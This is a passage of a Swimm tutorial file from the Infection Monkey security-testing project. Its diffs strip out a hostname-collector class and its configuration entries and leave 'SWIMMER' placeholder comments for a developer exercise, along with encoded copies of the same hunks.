ybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTV0lNTUVSJTNBJTIwVGhlJTIwY29sbGVjdG9yJTIwY2xhc3MlMjBnb2VzJTIwaGVyZS4lMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E1JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0ExNiU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py\nindex 0aeecd9f..4dc6701a 100644\n--- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py\n+++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,15 +1,5 @@", + " import logging", + "-import socket", + "-", + "-from common.common_consts.system_info_collectors_names import HOSTNAME_COLLECTOR", + "-from infection_monkey.system_info.system_info_collector import SystemInfoCollector", + " ", + " logger = logging.getLogger(__name__)", + " ", + "-", + "+# SWIMMER: The collector class goes here.", + "-class HostnameCollector(SystemInfoCollector):", + "- def __init__(self):", + "- super().__init__(name=HOSTNAME_COLLECTOR)", + "-", + "- def collect(self) -> dict:", + "- return {\"hostname\": socket.getfqdn()}" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": { - "index": [ - "5f113f4a..7043e227", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", - "status": "MODIFIED", - "numLineDeletions": 10, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwKEFXU19DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBIT1NUTkFNRV9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E2JTdEJTdEJTdEJTdE", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0zNyUyQzE1JTIwJTJCMzYlMkM3JTIwJTQwJTQwJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX0NMQVNTRVMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMklmJTIwb24lMjBBV1MlMkMlMjBjb2xsZWN0cyUyMG1vcmUlMjBpbmZvcm1hdGlvbiUyMGFib3V0JTIwdGhlJTIwQVdTJTIwaW5zdGFuY2UlMjBjdXJyZW50bHklMjBydW5uaW5nJTIwb24uJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMzclMkMlMjJiJTIyJTNBMzYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMDgyJTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMzglMkMlMjJiJTIyJTNBMzclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzOSUyQyUyMmIlMjIlM0EzOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQ0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIySG9zdG5hbWUlMjBjb2xsZWN0b3IlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJpbmZvJTVDJTIyJTNBJTIwJTVDJTIyQ29sbGVjdHMlMjBtYWNoaW5lJ3MlMjBob3N0bmFtZS4lNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMDgyJTVDJTIyJTJDJTIwJTVDJTIyVDEwMTYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFNXSU1NRVIlM0ElMjBDb2xsZWN0b3IlMjBjb25maWclMjBnb2VzJTIwaGVyZS4lMjBUaXAlM0ElMjBIb3N0bmFtZSUyMGNvbGxlY3Rpb24lMjByZWxhdGVzJTIwdG8lMjB0aGUlMjBUMTA4MiUyMGFuZCUyMFQxMDE2JTIwdGVjaG5pcXVlcy4lMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0EzOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQ5JTJDJTIyYiUyMiUzQTQwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMnN0cmluZyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUwJTJDJTIyYiUyMiUzQTQxJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUxJTJDJTIyYiUyMiUzQTQyJTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMzclMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMzYlMkMlMjJsaW5lc0NvdW50JTIyJTNBNyU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py\nindex 0ea92bea..f4517b90 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,", + "- ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,", + "+ ENVIRONMENT_COLLECTOR,", + " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)", + " ", + " SYSTEM_INFO_COLLECTOR_CLASSES = {" + ] + }, + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -34,15 +34,7 @@", + " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", + " \"attack_techniques\": [\"T1082\"]", + " },", + "- {", + "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", + "- \"type\": \"string\",", + "- \"enum\": [", + "- HOSTNAME_COLLECTOR", + "- ],", + "- \"title\": \"Hostname collector\",", + "- \"info\": \"Collects machine's hostname.\",", + "- \"attack_techniques\": [\"T1082\", \"T1016\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/monkey.py": { - "index": [ - "b47d6a15..1b1962a4", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/monkey.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/monkey.py", - "status": "MODIFIED", - "numLineDeletions": 2, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwKEFXU19DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBIT1NUTkFNRV9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E2JTdEJTdEJTdEJTdE", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC04OCUyQzclMjAlMkI4NyUyQzYlMjAlNDAlNDAlMjBNT05LRVklMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZGVmYXVsdCU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTg4JTJDJTIyYiUyMiUzQTg3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBODklMkMlMjJiJTIyJTNBODglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTAlMkMlMjJiJTIyJTNBODklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwSE9TVE5BTUVfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQUk9DRVNTX0xJU1RfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTIlMkMlMjJiJTIyJTNBOTAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5MyUyQyUyMmIlMjIlM0E5MSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEFaVVJFX0NSRURfQ09MTEVDVE9SJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTQlMkMlMjJiJTIyJTNBOTIlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E4OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTg3JTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py\nindex 01d46367..84cd9123 100644\n--- a/monkey/monkey_island/cc/services/config_schema/monkey.py\n+++ b/monkey/monkey_island/cc/services/config_schema/monkey.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,5 +1,5 @@", + " from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR,", + "- ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR,", + "+ ENVIRONMENT_COLLECTOR,", + " MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR)", + " ", + " MONKEY = {" + ] + }, + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -85,7 +85,6 @@", + " \"default\": [", + " ENVIRONMENT_COLLECTOR,", + " AWS_COLLECTOR,", + "- HOSTNAME_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " AZURE_CRED_COLLECTOR" + ] + } ] }, "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": { - "index": [ - "e2de4519..04bc3556", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", - "fileB": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", - "status": "MODIFIED", - "numLineDeletions": 3, - "numLineAdditions": 3, - "hunkContainers": [ - 